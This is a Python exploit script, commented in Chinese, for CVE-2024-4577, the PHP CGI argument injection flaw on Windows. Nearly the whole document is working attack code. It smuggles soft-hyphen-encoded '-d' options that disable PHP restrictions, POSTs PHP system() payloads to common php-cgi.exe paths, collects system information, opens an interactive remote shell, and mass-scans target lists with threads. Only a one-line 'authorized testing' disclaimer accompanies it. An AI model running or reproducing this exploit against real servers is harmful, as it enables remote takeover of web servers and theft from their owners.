1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
|
#!/usr/bin/env python3
# 漏洞标题:PHP CGI Module 8.3.4 - 远程代码执行 (RCE)
# 日期:2025-06-13
# 漏洞作者:@ibrahimsql
# 作者 GitHub:https://github.com/yigitsql (旧账户被封禁)
# 厂商主页:https://www.php.net/
# 软件链接:https://www.php.net/downloads
# 影响版本:PHP < 8.3.4, PHP < 8.2.17, PHP < 8.1.27
# 测试环境:Kali Linux 2024.1
# CVE:CVE-2024-4577
# 描述:
# PHP CGI实现中的一个关键漏洞允许远程攻击者通过命令注入执行任意代码。该漏洞存在于PHP CGI对命令行参数的处理不当,可被利用以绕过安全限制,并以Web服务器权限执行任意命令。此漏洞影响所有8.3.4、8.2.17和8.1.27之前的PHP版本。
#
# 影响:
# - 远程代码执行 (RCE)
# - 信息泄露
# - 服务器沦陷
#
# 参考链接:
# - https://nvd.nist.gov/vuln/detail/cve-2024-4577
# - https://www.akamai.com/blog/security-research/2024-php-exploit-cve-one-day-after-disclosure
# - https://www.tarlogic.com/blog/cve-2024-4577-critical-vulnerability-php/
# - https://learn.microsoft.com/en-us/answers/questions/1725847/php-8-3-vulnerability-cve-2024-4577
# - https://www.stormshield.com/news/security-alert-php-cve-2024-4577-stormshields-product-response/
#
# 依赖:urllib3>=1.26.0, rich, requests>=2.25.0, alive_progress, concurrent.futures
import re
import sys
import base64
import requests
import argparse
from rich.console import Console
from urllib3 import disable_warnings
from urllib3.exceptions import InsecureRequestWarning
from alive_progress import alive_bar
from concurrent.futures import ThreadPoolExecutor, as_completed
disable_warnings(InsecureRequestWarning)
console = Console()
class PHPCGIExploit:
"""CVE-2024-4577 PHP CGI 参数注入 RCE 漏洞利用"""
def __init__(self):
self.headers = {
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
}
# PHP CGI 参数注入的优化设置
self.php_settings = [
"-d cgi.force_redirect=0",
"-d cgi.redirect_status_env=0",
"-d fastcgi.impersonate=1",
"-d open_basedir=",
"-d disable_functions=",
"-d auto_prepend_file=php://input",
"-d allow_url_include=1",
"-d allow_url_fopen=1"
]
# Windows 系统的软连字符
self.soft_hyphen = "%AD" # 0xAD 字符
# 尝试的PHP CGI路径
self.cgi_paths = [
"/php-cgi/php-cgi.exe",
"/php/php-cgi.exe",
"/cgi-bin/php-cgi.exe",
"/php-cgi.exe",
"/php.exe",
"/php/php.exe"
]
def ascii_art(self):
print("")
console.print("[bold red] ____ _ _ ____ ____ ____ ___[/bold red]")
console.print("[bold red] | _ \| | | | _ \ / ___|/ ___|_ _|[/bold red]")
console.print("[bold red] | |_) | |_| | |_) | | | | | _ | |[/bold red]")
console.print("[bold red] | __/| _ | __/ | |___| |_| || |[/bold red]")
console.print("[bold red] |_| |_| |_|_| \____|\____|___|[/bold red]")
console.print("[bold yellow] CVE-2024-4577 漏洞利用[/bold yellow]")
console.print("[dim white] PHP CGI 参数注入[/dim white]")
console.print("[dim cyan] 开发者: @ibrahimsql[/dim cyan]")
print("")
def build_payload_url(self, cgi_path):
# 使用软连字符进行参数注入
settings_str = " ".join(self.php_settings).replace("-", self.soft_hyphen)
settings_str = settings_str.replace("=", "%3D").replace(" ", "+")
return f"{cgi_path}?{settings_str}"
def execute_command(self, target, command="whoami", cgi_path=None):
"""利用PHP CGI参数注入在目标上执行命令"""
try:
# 创建PHP代码
php_code = f"""<?php
error_reporting(0);
echo '[START]';
system('{command}');
echo '[END]';
die();
?>"""
# 如果未指定CGI路径,尝试所有路径
if cgi_path:
paths_to_try = [cgi_path]
else:
paths_to_try = self.cgi_paths
for path in paths_to_try:
try:
payload_url = self.build_payload_url(path)
full_url = f"{target.rstrip('/')}{payload_url}"
response = requests.post(
full_url,
headers=self.headers,
data=php_code,
timeout=10,
verify=False,
allow_redirects=False
)
# 检查输出
if response.status_code == 200:
output_match = re.search(r'\[START\](.*?)\[END\]', response.text, re.DOTALL)
if output_match:
return output_match.group(1).strip(), path
except requests.exceptions.RequestException:
continue
return None, None
except Exception as e:
console.print(f"[red][-][/red] 错误: {str(e)}")
return None, None
def check_vulnerability(self, target):
"""检查目标是否存在漏洞"""
console.print(f"[blue][*][/blue] 测试目标: {target}")
# 使用简单命令进行测试
result, cgi_path = self.execute_command(target, "echo CVE-2024-4577-TEST")
if result and "CVE-2024-4577-TEST" in result:
console.print(f"[green][+][/green] 目标存在漏洞!CGI 路径: {cgi_path}")
# 获取系统信息
sys_info, _ = self.execute_command(target, "systeminfo", cgi_path)
if sys_info:
console.print("[green][+][/green] 系统信息:")
console.print(f"[dim]{sys_info[:500]}...[/dim]") # 前500个字符
return True, cgi_path
else:
console.print(f"[red][-][/red] 目标不存在漏洞")
return False, None
def interactive_shell(self, target, cgi_path):
"""交互式Shell会话 - 简化版"""
console.print("[green][+][/green] 交互式Shell已开启")
console.print("[yellow][!][/yellow] 输入 'exit' 退出,'clear' 清屏")
while True:
try:
# 简单输入提示
cmd = input("shell> ")
if cmd.lower() == "exit":
break
elif cmd.lower() == "clear":
print("\033[2J\033[H", end="")
continue
elif cmd.strip() == "":
continue
# 执行命令
result, _ = self.execute_command(target, cmd, cgi_path)
if result:
print(result)
else:
console.print("[red][-][/red] 命令执行失败")
except KeyboardInterrupt:
console.print("\n[yellow][!][/yellow] 使用 'exit' 退出")
except Exception as e:
console.print(f"[red][-][/red] 错误: {str(e)}")
def exploit_target(self, target, output_file=None):
"""利用单个目标"""
is_vulnerable, cgi_path = self.check_vulnerability(target)
if is_vulnerable:
# 保存结果
if output_file:
with open(output_file, "a") as f:
f.write(f"[+] 存在漏洞: {target} | CGI 路径: {cgi_path}\n")
# 启动交互式Shell
console.print("[blue][*][/blue] 启动交互式Shell...")
self.interactive_shell(target, cgi_path)
else:
if output_file:
with open(output_file, "a") as f:
f.write(f"[-] 不存在漏洞: {target}\n")
def scan_multiple_targets(self, targets_file, threads=5, output_file=None):
"""扫描多个目标"""
try:
with open(targets_file, "r") as f:
targets = [line.strip() for line in f if line.strip()]
if not targets:
console.print("[red][-][/red] 文件中未找到目标")
return
console.print(f"[blue][*][/blue] 使用 {threads} 个线程扫描 {len(targets)} 个目标")
vulnerable_targets = []
def scan_target(target):
try:
is_vulnerable, cgi_path = self.check_vulnerability(target)
if is_vulnerable:
vulnerable_targets.append((target, cgi_path))
if output_file:
with open(output_file, "a") as f:
f.write(f"[+] 存在漏洞: {target} | CGI 路径: {cgi_path}\n")
except Exception as e:
console.print(f"[red][-][/red] 扫描 {target} 时出错: {str(e)}")
with alive_bar(len(targets), title="扫描中", bar="smooth") as bar:
with ThreadPoolExecutor(max_workers=threads) as executor:
futures = [executor.submit(scan_target, target) for target in targets]
for future in as_completed(futures):
future.result()
bar()
# 摘要
print("")
console.print(f"[green][+][/green] 发现 {len(vulnerable_targets)} 个存在漏洞的目标")
if vulnerable_targets:
console.print("\n[bold]存在漏洞的目标:[/bold]")
for target, cgi_path in vulnerable_targets:
console.print(f" [green]•[/green] {target} (CGI: {cgi_path})")
except FileNotFoundError:
console.print(f"[red][-][/red] 文件未找到: {targets_file}")
except Exception as e:
console.print(f"[red][-][/red] 错误: {str(e)}")
def main():
"""主函数"""
exploit = PHPCGIExploit()
exploit.ascii_art()
parser = argparse.ArgumentParser(
description="CVE-2024-4577 - PHP CGI 参数注入 RCE 漏洞利用",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
示例:
python3 exploit.py -u http://target.com
python3 exploit.py -f targets.txt -t 10 -o results.txt
注意:本工具仅用于教育和授权测试目的。
"""
)
parser.add_argument("-u", "--url", help="单个目标URL")
parser.add_argument("-f", "--file", help="包含目标URL的文件")
parser.add_argument("-o", "--output", help="结果输出文件")
parser.add_argument("-t", "--threads", type=int, default=5, help="线程数 (默认: 5)")
args = parser.parse_args()
if args.url:
exploit.exploit_target(args.url, args.output)
elif args.file:
exploit.scan_multiple_targets(args.file, args.threads, args.output)
else:
parser.print_help()
sys.exit(1)
if __name__ == "__main__":
main()
|